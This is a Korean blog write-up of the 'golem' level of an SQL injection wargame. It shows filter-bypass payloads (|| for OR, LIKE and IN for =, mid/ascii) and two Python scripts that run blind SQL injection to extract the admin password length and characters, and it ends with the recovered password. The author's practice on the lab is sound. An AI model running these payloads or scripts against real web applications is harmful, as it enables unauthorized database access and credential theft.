yon11b

[los]golem_writeup 본문

보안/웹

[los]golem_writeup

yon11b 2022. 1. 13. 00:24
반응형

조건

필터링 대체

  • or → ||
  • and → &&
  • no에서 substr → substr('yon11b',3,1) 과 right(left('yon11b',3),1), mid(’yon11b’,3,1) 의 결과는 n 로 같다.
  • = → like, in

코드

시도_1: 게스트까지 접속

?pw=1'||'1

시도_2

‘=’ 이 필터링 되었다

?pw=1'||id='admin

 

시도_3: ‘=’ 우회

idea

select * from table where id='admin'

select * from table where id like 'admin'

select * from table where id in('admin')​
?pw=1'||id like 'admin

참고: https://07001lab.tistory.com/entry/SQL-Injection-필터-우회-정리글

?pw=1'||id in ('admin')--%20

이론대로 like 도 되고 in 도 된다.

 

시도_4: pw 길이 구하기

pw의 길이를 구해보고자 한다.

첫번째 방법: 직접 url에 입력해가며 구하기

orge에서 푼 방식을 다시 적용해보자. 원래는 = 을 써서 하지만 여기서는 =을 걸러내기 때문에 부등호(>,<)를 사용할 것이다.

?pw=1'||length(pw)<9--%20

<9까지는 Hello admin이 뜨는데

?pw=1'||length(pw)<8--%20

8부터는 뜨지 않았다. ⇒ pw는 8자리라는 것을 알아냈다.

두 번째 방법: 스크립트 작성

import requests
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies={'PHPSESSID':"본인 세션 아이디"}

# 비밀번호 길이 구하기
print("let's find pw_len!!")
pw_len=0
while True:
    pw_len+=1
    print(pw_len)
    value="' || id like 'admin' && length(pw) like {} #".format(pw_len)
    params={'pw':value}
    response=requests.get(url,params=params,cookies=cookies)
    if "Hello admin" in response.text:
        print("password length: ",pw_len)
        break

시도_5: pw 구하기

스크립트를 작성해보자

import requests
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies={'PHPSESSID':"본인 세션 아이디"}

# 비밀번호 구하기
print("let's find pw!!")
pw=''
for i in range(1,9):
    for j in range(48,123):
        value="' || id like 'admin' && ascii(mid(pw,{},1)) like {} -- ".format(i,j)
        params={'pw':value}
        response=requests.get(url,params=params,cookies=cookies)
        if "Hello admin" in response.text:
            pw+=chr(j)
            print("password: ",pw)
            break

코드 참고: https://power-girl0-0.tistory.com/424

주의!

스크립트를 작성할 때는 인코딩 된 값을 쓰면 안 된다

value="' || id like 'admin' && ascii(mid(pw,{},1)) like {} --**%20**".format(i,j)

%20을 썼더니 코드가 제대로 동작하지 않았다.

스페이스바를 입력하거나 #을 입력해주니 제대로 동작했다.

정답

?pw=77d6290b

728x90

'보안 > ' 카테고리의 다른 글

[webhacking.kr]old-14 문제  (0) 2022.02.08
[webhacking.kr] old-01 문제  (0) 2022.02.08
los 문제보다가 갑자기 생긴 의문(해결)  (1) 2022.02.03
[DH] blind-command  (1) 2022.01.27
[los]darkknight_writeup  (0) 2022.01.13